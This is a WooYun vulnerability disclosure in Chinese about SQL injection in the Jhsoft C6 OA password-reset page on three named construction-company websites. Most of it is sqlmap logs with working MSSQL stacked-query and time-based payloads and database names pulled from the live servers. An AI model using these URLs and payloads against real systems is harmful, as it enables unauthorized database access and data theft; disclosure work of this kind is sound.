当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-092099

漏洞标题:多个建工的网站未打补丁导致sql注入

相关厂商:cncert国家互联网应急中心

漏洞作者: #6c6c6c

提交时间:2015-01-16 15:17

修复时间:2015-03-02 15:18

公开时间:2015-03-02 15:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-16: 细节已通知厂商并且等待厂商处理中
2015-01-21: 厂商已经确认,细节仅向厂商公开
2015-01-31: 细节向核心白帽子及相关领域专家公开
2015-02-10: 细节向普通白帽子公开
2015-02-20: 细节向实习白帽子公开
2015-03-02: 细节向公众公开

简要描述:

sql

详细说明:

北京建工四建工程建设有限公司


注入地址:http://oa.bjjgsj.com//C6/Jhsoft.Web.login/GetPassWord.aspx?flag=getEmai
l&Username=test
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 18:51:18
[18:51:18] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\oa.bjjgsj.
com\session' as session file
[18:51:18] [INFO] testing connection to the target url
[18:51:18] [INFO] testing if the url is stable, wait a few seconds
[18:51:20] [ERROR] there was an error checking the stability of page because of
lack of content. please check the page request results (and probable errors) by
using higher verbosity levels
[18:51:20] [INFO] testing if GET parameter 'flag' is dynamic
[18:51:20] [INFO] confirming that GET parameter 'flag' is dynamic
[18:51:20] [INFO] GET parameter 'flag' is dynamic
[18:51:20] [WARNING] heuristic test shows that GET parameter 'flag' might not be
injectable
[18:51:20] [INFO] testing sql injection on GET parameter 'flag'
[18:51:20] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:51:20] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:51:21] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:51:21] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:51:21] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:51:22] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:51:22] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:51:22] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:51:22] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:51:23] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:51:23] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:51:23] [INFO] testing 'Oracle AND time-based blind'
[18:51:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:51:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:51:27] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[18:51:31] [WARNING] GET parameter 'flag' is not injectable
[18:51:31] [INFO] testing if GET parameter 'Username' is dynamic
[18:51:31] [INFO] confirming that GET parameter 'Username' is dynamic
[18:51:31] [INFO] GET parameter 'Username' is dynamic
[18:51:31] [WARNING] heuristic test shows that GET parameter 'Username' might no
t be injectable
[18:51:31] [INFO] testing sql injection on GET parameter 'Username'
[18:51:31] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:51:31] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:51:32] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:51:32] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:51:32] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:51:33] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:51:33] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:51:33] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:51:43] [INFO] GET parameter 'Username' is 'Microsoft SQL Server/Sybase stack
ed queries' injectable
[18:51:43] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:51:44] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:51:44] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:51:54] [INFO] GET parameter 'Username' is 'Microsoft SQL Server/Sybase time-
based blind' injectable
[18:51:54] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:51:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:51:56] [INFO] checking if the injection point on GET parameter 'Username' is
a false positive
GET parameter 'Username' is vulnerable. Do you want to keep testing the others (
if any)? [y/N] y
sqlmap identified the following injection points with a total of 219 HTTP(s) req
uests:
---
Place: GET
Parameter: Username
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: flag=getEmail&Username=test'); WAITFOR DELAY '0:0:5';-- AND ('AkkO'
='AkkO
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: flag=getEmail&Username=test') WAITFOR DELAY '0:0:5'-- AND ('SIsa'='
SIsa
---
[18:52:07] [INFO] testing MySQL
[18:52:07] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[18:52:08] [WARNING] the back-end DBMS is not MySQL
[18:52:08] [INFO] testing Oracle
[18:52:08] [WARNING] the back-end DBMS is not Oracle
[18:52:08] [INFO] testing PostgreSQL
[18:52:08] [WARNING] the back-end DBMS is not PostgreSQL
[18:52:08] [INFO] testing Microsoft SQL Server
[18:52:13] [INFO] confirming Microsoft SQL Server
[18:52:23] [INFO] adjusting time delay to 1 second due to good response times
[18:52:23] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[18:52:23] [INFO] fetching database names
[18:52:23] [INFO] fetching number of databases
[18:52:23] [INFO] retrieved:
[18:52:23] [ERROR] unable to retrieve the number of databases
[18:52:23] [INFO] falling back to current database
[18:52:23] [INFO] fetching current database
[18:52:23] [INFO] retrieved: A
available databases [1]:
[*] A
[18:52:27] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\oa.bjjgsj.com'


漏洞证明:

中铁建大桥工程局集团第五工程有限公司


注入地址:http://www.xtwgs.com/C6/Jhsoft.Web.login/GetPassWord.aspx?flag=getEmail
&Username=test
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 18:52:33
[18:52:34] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\www.xtwgs.
com\session' as session file
[18:52:34] [INFO] testing connection to the target url
[18:52:34] [INFO] testing if the url is stable, wait a few seconds
[18:52:35] [ERROR] there was an error checking the stability of page because of
lack of content. please check the page request results (and probable errors) by
using higher verbosity levels
[18:52:35] [INFO] testing if GET parameter 'flag' is dynamic
[18:52:35] [INFO] confirming that GET parameter 'flag' is dynamic
[18:52:35] [INFO] GET parameter 'flag' is dynamic
[18:52:35] [WARNING] heuristic test shows that GET parameter 'flag' might not be
injectable
[18:52:35] [INFO] testing sql injection on GET parameter 'flag'
[18:52:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:52:36] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:52:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:52:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:52:37] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:52:38] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:52:38] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:52:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:52:42] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:52:43] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:52:43] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:52:43] [INFO] testing 'Oracle AND time-based blind'
[18:52:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:52:49] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:52:49] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[18:52:54] [WARNING] GET parameter 'flag' is not injectable
[18:52:54] [INFO] testing if GET parameter 'Username' is dynamic
[18:52:54] [INFO] confirming that GET parameter 'Username' is dynamic
[18:52:54] [INFO] GET parameter 'Username' is dynamic
[18:52:55] [WARNING] heuristic test shows that GET parameter 'Username' might no
t be injectable
[18:52:55] [INFO] testing sql injection on GET parameter 'Username'
[18:52:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:52:55] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:52:56] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:52:56] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:52:57] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:52:57] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:52:57] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:52:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:53:08] [INFO] GET parameter 'Username' is 'Microsoft SQL Server/Sybase stack
ed queries' injectable
[18:53:08] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:53:08] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:53:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:53:19] [INFO] GET parameter 'Username' is 'Microsoft SQL Server/Sybase time-
based blind' injectable
[18:53:19] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:53:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:53:21] [INFO] checking if the injection point on GET parameter 'Username' is
a false positive
GET parameter 'Username' is vulnerable. Do you want to keep testing the others (
if any)? [y/N] y
sqlmap identified the following injection points with a total of 220 HTTP(s) req
uests:
---
Place: GET
Parameter: Username
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: flag=getEmail&Username=test'); WAITFOR DELAY '0:0:5';-- AND ('PemO'
='PemO
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: flag=getEmail&Username=test') WAITFOR DELAY '0:0:5'-- AND ('IIiu'='
IIiu
---
[18:53:34] [INFO] testing MySQL
[18:53:34] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[18:53:34] [WARNING] the back-end DBMS is not MySQL
[18:53:34] [INFO] testing Oracle
[18:53:34] [WARNING] the back-end DBMS is not Oracle
[18:53:34] [INFO] testing PostgreSQL
[18:53:34] [WARNING] the back-end DBMS is not PostgreSQL
[18:53:34] [INFO] testing Microsoft SQL Server
[18:53:39] [INFO] confirming Microsoft SQL Server
[18:53:49] [INFO] adjusting time delay to 1 second due to good response times
[18:53:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[18:53:49] [INFO] fetching database names
[18:53:49] [INFO] fetching number of databases
[18:53:49] [INFO] retrieved:
[18:53:50] [ERROR] unable to retrieve the number of databases
[18:53:50] [INFO] falling back to current database
[18:53:50] [INFO] fetching current database
[18:53:50] [INFO] retrieved:
[18:53:51] [CRITICAL] unable to retrieve the database names
[*] shutting down at 18:53:51


北京市第三建筑工程有限公司


注入地址:http://oa.bjn3cc.com/c6/Jhsoft.Web.login/GetPassWord.aspx?flag=getEmail
&Username=test
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 18:58:54
[18:58:54] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\oa.bjn3cc.
com\session' as session file
[18:58:55] [INFO] testing connection to the target url
[18:58:55] [INFO] testing if the url is stable, wait a few seconds
[18:58:56] [ERROR] there was an error checking the stability of page because of
lack of content. please check the page request results (and probable errors) by
using higher verbosity levels
[18:58:56] [INFO] testing if GET parameter 'flag' is dynamic
[18:58:56] [INFO] confirming that GET parameter 'flag' is dynamic
[18:58:56] [INFO] GET parameter 'flag' is dynamic
[18:58:56] [WARNING] heuristic test shows that GET parameter 'flag' might not be
injectable
[18:58:56] [INFO] testing sql injection on GET parameter 'flag'
[18:58:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:58:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:58:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:58:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:58:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:58:58] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:58:59] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:58:59] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:58:59] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:59:00] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:59:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:59:00] [INFO] testing 'Oracle AND time-based blind'
[18:59:01] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:59:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:59:05] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[18:59:10] [WARNING] GET parameter 'flag' is not injectable
[18:59:10] [INFO] testing if GET parameter 'Username' is dynamic
[18:59:10] [INFO] confirming that GET parameter 'Username' is dynamic
[18:59:10] [INFO] GET parameter 'Username' is dynamic
[18:59:10] [WARNING] heuristic test shows that GET parameter 'Username' might no
t be injectable
[18:59:10] [INFO] testing sql injection on GET parameter 'Username'
[18:59:10] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[18:59:11] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[18:59:12] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[18:59:12] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[18:59:13] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[18:59:13] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[18:59:14] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[18:59:14] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[18:59:25] [INFO] GET parameter 'Username' is 'Microsoft SQL Server/Sybase stack
ed queries' injectable
[18:59:25] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[18:59:25] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[18:59:25] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[18:59:35] [INFO] GET parameter 'Username' is 'Microsoft SQL Server/Sybase time-
based blind' injectable
[18:59:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[18:59:36] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[18:59:40] [INFO] checking if the injection point on GET parameter 'Username' is
a false positive
GET parameter 'Username' is vulnerable. Do you want to keep testing the others (
if any)? [y/N] y
sqlmap identified the following injection points with a total of 219 HTTP(s) req
uests:
---
Place: GET
Parameter: Username
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: flag=getEmail&Username=test'); WAITFOR DELAY '0:0:5';-- AND ('tzPz'
='tzPz
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: flag=getEmail&Username=test') WAITFOR DELAY '0:0:5'-- AND ('CpZB'='
CpZB
---
[19:00:05] [INFO] testing MySQL
[19:00:05] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[19:00:05] [WARNING] the back-end DBMS is not MySQL
[19:00:05] [INFO] testing Oracle
[19:00:05] [WARNING] the back-end DBMS is not Oracle
[19:00:05] [INFO] testing PostgreSQL
[19:00:05] [WARNING] the back-end DBMS is not PostgreSQL
[19:00:05] [INFO] testing Microsoft SQL Server
[19:00:10] [INFO] confirming Microsoft SQL Server
[19:00:20] [INFO] adjusting time delay to 3 seconds due to good response times
[19:00:23] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[19:00:23] [INFO] fetching database names
[19:00:23] [INFO] fetching number of databases
[19:00:23] [INFO] retrieved: 17
[19:00:34] [INFO] retrieved:
[19:00:44] [ERROR] invalid character detected. retrying..
[19:00:44] [WARNING] increasing time delay to 4 seconds
C6
[19:01:11] [INFO] retrieved: C6-new
[19:02:46] [INFO] retrieved: dffy
[19:03:58] [INFO] retrieved: E-hr

修复方案:

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-01-21 08:41

厂商回复:

CNVD确认并复现所述情况,暂未建立与网站管理单位的直接处置渠道,待认领.

最新状态:

暂无